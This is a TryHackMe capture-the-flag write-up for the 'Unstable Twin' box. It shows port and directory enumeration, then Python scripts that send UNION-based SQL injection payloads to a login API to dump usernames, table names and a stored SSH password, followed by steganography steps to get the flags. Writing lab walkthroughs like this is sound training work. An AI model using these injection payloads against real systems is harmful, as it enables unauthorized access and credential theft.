TryHackMe Unstable Twin Writeup

This writeup aims to guide you through the Unstable Twin box on TryHackMe. The box is considered a medium box. Before we start enumerating the box, add the following line to your /etc/hosts file.

echo "<box_ip>   twin.thm" >> /etc/hosts

TryHackMe Unstable Twin – Enumeration

As per usual, we start by running a port scan on the host using nmap. The sC and sV flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.

nmap -sV -sC twin.thm

You can see the output of this scan below:

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 ba:a2:40:8e:de:c3:7b:c7:f7:b3:7e:0c:1e:ec:9f:b8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP/bNr/nN/6PCa1yFPjA11XH0aZeVg2OMFGyxF3iCBim97a/vA33LYCnDGh7jjSP+wEzu2Xh6whOuRU147tRglKgXMVqMx7GIfBKp92pPnePbCQi6Qy9Sp1hJCIK9Ik2qzYbVOHr6vSJVRGKdZuCDrqip67tHPJSqtDKvuTS8PTcWav17y0IhBrcU2KoGptwml4I/j3RO/aVYblAEKMH0tn9vy59tokTm0CoPXjZCH7KJfL87YAdyacAA6FB2DIFEupf56qGoGNUP9v7AMaF6Uj/5ywDduik/YOdvBR7AVlX2IOaAu4yLRWIh9S4XvlzCB3N+UyQmXRKSzcSyhKXIRJYidCs0SwhCTF+umbmtMAfHghLBz4pkLbhbqrVqkf0GA8wKyG9rX6LSUl6/SwhtAeFPIQxnnP6OHxrcKHy4BooCVNpur5fkioel5VHO90cK0xzlPWGJ8P4HOnDRmLWpyBAmmPjY8BHNB4rLccZLz1e648h7Zs9sFvhjJD8ONgW0=
|   256 38:28:4c:e1:4a:75:3d:0d:e7:e4:85:64:38:2a:8e:c7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH7P2OEvegGP6MfdwJdgVn3xIYEH6LXyzBs5hQ5fPpMZDZdHo5a6J2HR+KShaslzYk83WGNBSJt+hQUGv0Kr+Hs=
|   256 1a:33:a0:ed:83:ba:09:a5:62:a7:df:ab:2f:ee:d0:99 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN0pHtBDjHWNJSlxl5M/LfHJztN6HJzi30Ygi1ysEOJN
80/tcp open  http    syn-ack nginx 1.14.1
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: nginx/1.14.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

There are 2 open ports. On port 22 resides an SSH server, and port 80 servers an Nginx web server. We start by enumerating the web server. Visiting http://twin.thm/ does not show us any page. We can use gobuster to find hidden files and directories on the server. Run the following command to find these hidden files and directories.

gobuster dir -u http://twin.thm/ -w /usr/share/wordlists/common.txt

The output of this scan can be seen below.

/info (Status: 200)

Visiting http://twin.thm/info shows us the following message.

"The login API needs to be called with the username and password fields.  It has not been fully tested yet so may not be full developed and secure"

Next, I checked the HTTP header using curl. You have to run the curl command with the -I flag to view the HTTP header.

curl -I http://twin.thm/info

The output is listed below.

HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sat, 01 May 2021 09:39:15 GMT
Content-Type: application/json
Content-Length: 160
Connection: keep-alive
Build Number: REDACTED
Server Name: REDACTED

When executed multiple times, this request returns different build numbers and server names. It seems like two servers run on the host. You can observe this by observing the HTTP header for both scans. The next step is accessing the API login endpoint mentioned in the info route. You can do so by executing:

curl -X POST http://twin.thm/api/login

You can see the output message below.

"The username or password passed are not correct."

We just found an API endpoint that needs further exploration.

Finding Users

We do not know any valid credentials to use for the API. However, this room hints that there is a SQL injection in place. First, we have the vulnerable parameter. Craft the following Python script.

import requests

sqli = "1'"
url = ' http://twin.thm/api/login'

data_obj = {"username": sqli , "password": "password"}
r = requests.post(url, data_obj)
print(r.text)

Run the script (you may have to run the script twice). The exploit is a success due to the following error message:

The server encountered an internal error and was unable to complete your request.  Either the server is overloaded or there is an error in the application.

Now we have to craft a SQL statement to retrieve all usernames. Change the previous script to contain the following lines.

import requests

url = 'http://twin.thm/api/login'
sqli = "1' UNION SELECT username, password FROM users-- -"

data_obj = {'username': sqli, 'password': 'password'}
x = requests.post(url, data_obj)
print(x.text)

The output of this script will show you multiple usernames. You should now be able to answer the first four questions.

TryHackMe Unstable Twin – User Flag

The next step is finding the SSH password of Mary Ann. However, we first need to find other tables in the database, since the password is not in the users table. Change the script to the following:

import requests 

sqli = "1' UNION select 1,tbl_name from sqlite_master -- -"
url = 'http://twin.thm/api/login'

data_obj = {'username': sqli, 'password': '123456'}
r = requests.post(url, data=data_obj)
print(r.text)

The output is listed below.

[
  [
    1, 
    "notes"
  ], 
  [
    1, 
    "sqlite_sequence"
  ], 
  [
    1, 
    "users"
  ]
]

We now have to find all instances form the notes table. Craft the following Python script:

import requests 

sqli = "1' UNION select notes from notes -- -"
url = 'http://twin.thm/api/login'

data_obj = {'username': sqli, 'password': '123456'}
r = requests.post(url, data=data_obj)
print(r.text)

The output is listed below.

[
  [
    1, 
    "I have left my notes on the server.  They will me help get the family back together. "
  ], 
  [
    1, 
    "My Password is REDACTED\n"
  ]
]

Using the just-found password we are able to log into the server using SSH.

ssh [email protected]

Provide the just-found password to get access to the server. The user.flag flag is located at /home/mary_ann/user.flag.

TryHackMe Unstable Twin – Root Flag

The first file we see is the server_notes.txt file on the server. This file contains the following lines:

Now you have found my notes you now you need to put my extended family together.

We need to GET their IMAGE for the family album.  These can be retrieved by NAME.

You need to find all of them and a picture of myself!

It seems like we can acquire an image for every user in the API. You can do so by running the following command for every user.

curl http://twin.thm/get_image?name=vincent --output vincent.jpg

Do this for all users in the system. Now that we have obtained all images, you have to use steghide to find the hidden message for every image. You can do so by running.

steghide extract -sf vincent.jpg

The message from the mary_ann user reads:

You need to find all my children and arrange in a rainbow!

All other messages contain a colour combined with a key. You have to combine these keys in the order: Red – Orange – Yellow – Green. The combined string can be Base62 decoded using: CyberChef and contains the final flag!

This box was fun to root! The box only consisted of a few API endpoints. The user can exploit these endpoints using SQL injections. Despite building an API, you can still implement code that is vulnerable to SQL injections.

Leave a Reply

Your email address will not be published. Required fields are marked *